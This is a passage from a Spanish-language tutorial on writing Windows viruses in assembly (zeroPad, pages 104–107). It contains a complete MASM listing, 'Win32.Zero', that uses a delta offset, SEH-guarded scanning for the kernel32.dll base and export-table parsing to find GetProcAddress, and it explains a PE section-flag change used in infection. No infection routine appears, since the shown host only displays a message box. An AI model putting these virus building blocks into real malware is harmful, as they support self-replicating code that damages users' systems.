Lo que nos da: 00000020 20000000 + 40000000 80000000 ------------- E0000020 Para esto hacemos: --------------------------------------------------------------------------------------------------- or dword ptr [esi + 24h], 0E0000020h --------------------------------------------------------------------------------------------------- Utilizamos un OR para agregarle estas características pero manteniendo las que pudiera tener originalmente, para evitar posibles problemas con su ejecución. Para entender bien todo esto que vimos es muy importante comprender bien el capítulo 4, por lo que les recomiendo que lo vuelvan a mirar si algo no les queda del todo claro. Codigo ASM xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx .386 .model flat, stdcall option casemap:none assume fs:nothing include windows.inc include user32.inc include kernel32.inc includelib user32.lib

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 104

includelib kernel32.lib .data mensaje db "Win32.Zero", 10, 10 db "Host de prueba para contener el Virus", 10, 10 db "coded by zeroPad (2007)", 0 titulo db "[Win32.Zero v0.1]",0 .code codigo: iniciovir: call delta delta: pop ebp sub ebp, offset delta call obtenerK32 call obtenerGPA jmp host ; salto al falso host obtenerK32 proc ;======================================================================== ; Ponemos un manejador de excepciones ;======================================================================== lea eax, [ebp + offset SEH_Handler] push eax ; nuevo manejador de excepciones mov eax, dword ptr fs:[0] ; salvo el handler anterior push eax ; y lo empujo para armar la cadena de SEH's mov dword ptr fs:[0], esp ; activo el handler propio ;======================================================================== ; Encontramos la dirección base del Kernel32.dll ;======================================================================== mov eax, dword ptr ds:[esp + 0Ch] ; saca de la pila el ret del CreateProcess and eax, 0FFFFF000h ; AND con 1111 1111 1111 1111 1111 0000 0000 0000 bucleK32: sub eax, 1000h ; voy saltando cada 1000h (4096d) bytes (tamaño de pagina) cmp word ptr [eax], 'ZM' ; compara con el inicio de los PE, el valor 'MZ' al reves jnz bucleK32 jmp saleK32 ; si lo consigo, salgo

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 105

;======================================================================== ; Manejador de excepciones ;======================================================================== SEH_Handler: mov esp, dword ptr [esp + 8] mov fs:[0], esp jmp bucleK32 ; salvado el error, continuo con la ejecucion saleK32: mov dword ptr [ebp + offset MZkernel], eax ; guardo la dirección base del kernel32.dll mov eax, dword ptr [esp] ; balanceo la pila mov fs:[0], eax ; restauro el SEH original add esp, 8 ret obtenerK32 endp obtenerGPA proc ;======================================================================== ; Buscamos el PEHeader del kernel32.dll (03Ch posiciones del 'MZ') ;======================================================================== mov edi, dword ptr [ebp + offset MZkernel] ; guardo en edi la dirección base del kernel32 mov eax, dword ptr [edi + 03Ch] ; guardo en eax el contenido de la base + 03Ch add eax, edi ; como es un RVA le sumo la dir. base del kernel32 mov dword ptr [ebp + offset PEHeader], eax ; en eax me queda la dirección del PE Header ;======================================================================== ; Obtenemos la tabla de exportaciones (78Ch posiciones del 'PE') ;======================================================================== mov edi, dword ptr [ebp + offset PEHeader] ; guardo en edi la dirección del PE Header mov eax, dword ptr [edi + 078h] ; guardo en eax el contenido de la base + 078h add eax, dword ptr [ebp + offset MZkernel] ; como es un RVA le sumo la dir. base del kernel32 mov dword ptr [ebp + offset EData], eax ; en eax me queda la dirección de la tabla de exportaciones ;======================================================================== ; Localizamos la RVA de la AddressOfNames ;======================================================================== mov edi, dword ptr [ebp + offset EData] ; edi = dirección de inicio el la tabla de exportaciones mov eax, dword ptr [edi + 020h] ; guardo en eax el contenido de la tabla + 020h add eax, dword ptr [ebp + offset MZkernel] ; como es un RVA le sumo la dir. base del kernel32 mov dword ptr [ebp + offset AofNames], eax ; eax = dirección de la AddressOfNames ;======================================================================== ; Recorremos AddressOfNames para encontrar la función GetProcAddress ;======================================================================== mov eax, [ebp + offset AofNames] ; eax = inicio de la tabla AddressOfNames mov [ebp + offset contador], 0 ; Contador = 0

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 106

xor ebx, ebx ; ebx = 0 (contador de referencia a la tabla AddressOfNames) sub ebx, 4 ; Resto al contador de referencia una DWORD (4 bytes) BuscarGPA: inc [ebp + offset contador] ; incremento el contador que utilizaremos luego add ebx, 4 ; sumo una DWORD al contador de referencia mov edx, [eax + ebx] ; edx = primera RVA de la tabla AddressOfNames add edx, [ebp + offset MZkernel] ; le sumo a esa RVA la dirección base del kernel y ; llego hasta donde esta el nombre de la API mov esi, edx lea edi, [ebp + offset GetPA] mov ecx, 0Eh ; largo de 'GetProcAddress' cld ; limpia el byte de dirección de la comparación repe cmpsb ; compara [esi] con [edi] byte a byte jnz BuscarGPA ; no es igual, busco la próxima dec [ebp + offset contador] ; le resto uno que se sumo de mas ;======================================================================== ; Puntero al Ordinal = AddressOfNameOrdinals + Base Kernel + (Contador * 2) ;======================================================================== mov ecx, [ebp + offset EData] mov ecx, [ecx + 24h] ; ecx = .edata + 24h bytes (AddressOfNameOrdinals) add ecx, [ebp + offset MZkernel] ; le sumo la base del kernel32.dll (por que es una RVA) mov eax, [ebp + offset contador] ; eax = contador que calculamos antes add [ebp + offset contador], eax ; contador * 2 add ecx, [ebp + offset contador] ; ecx = (AddressOfNameOrdinals + Base Kernel) + (Contador * 2) y asi obtenemos el Puntero al ; ordinal de la funcion GetProcAddress en ecx ;======================================================================== ; Puntero a la RVA de la API = AddressOfFunctions + Base Kernel + (Puntero al Ordinal * 4) ;======================================================================== mov ebx, [ebp + offset EData] mov ebx, [ebx + 1Ch] ; ecx = .edata + 1Ch bytes (AddressOfFunctions) add ebx, [ebp + offset MZkernel] ; le sumo la base del kernel32.dll (por que es una RVA) movzx eax, word ptr [ecx] ; hago esto por que la tabla AONO es de words rol eax, 2 ; al numero que obtuve anteriormente lo multiplico * 4 add ebx, eax ; sumo todo para obtener la RVA de GetProcAddress mov eax, [ebx] add eax, [ebp + offset MZkernel] ; le sumo la base del kernel32.dll (por que es una RVA) mov [ebp + offset GetPAddress], eax ret

Introducción a la programación de virus en ASM – zeroPad capítulo 1

[email protected] pág 107

obtenerGPA endp datosvir: MZkernel dd 0 ; direccion base del kernel32.dll PEHeader dd 0 ; dirección del encabezado PE EData dd 0 ; dirección de la tabla de exportaciones AofNames dd 0 ; dirección de AddressOfNames dentro de la tabla de exportaciones contador dd 0 ; contador para obtener el puntero a la AddresOfNameOrdinal GetPA db "GetProcAddress" GetPAddress dd 0 ; direccion en memoria donde se encuentra GetProcAddress finvir: host: push MB_OK + MB_ICONINFORMATION push offset titulo push offset mensaje push 0 call MessageBox push 0 call ExitProcess end codigo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Referencias

. Instalación del MASM32 – Configuración del RadASM como IDE de YuLSoft . Introducción al cracking con OllyDBG desde cero de Ricardo Narvaja (parte 1) . Programación con MASM+RADASM de Alan Moreno y RedH@wk (capítulo 1) . Grupo MASM32-RadASM (http://groups.google.com.ar/group/MASM32-RadASM)

. Programación con MASM+RADASM de Alan Moreno y RedH@wk (capítulo 2) . Tutorial de ASM de Iczelion (parte 1 y 2) . Tabla de códigos para Intel Assembler de Roger Jegerlehner (bueno para imprimir y

tener siempre a mano)

� Microsoft Portable Executable and Common Object File Format Specification, de Microsoft (nada mejor que ir a las fuentes)

� Descabezando archivos ejecutables portables, de nuMIT_or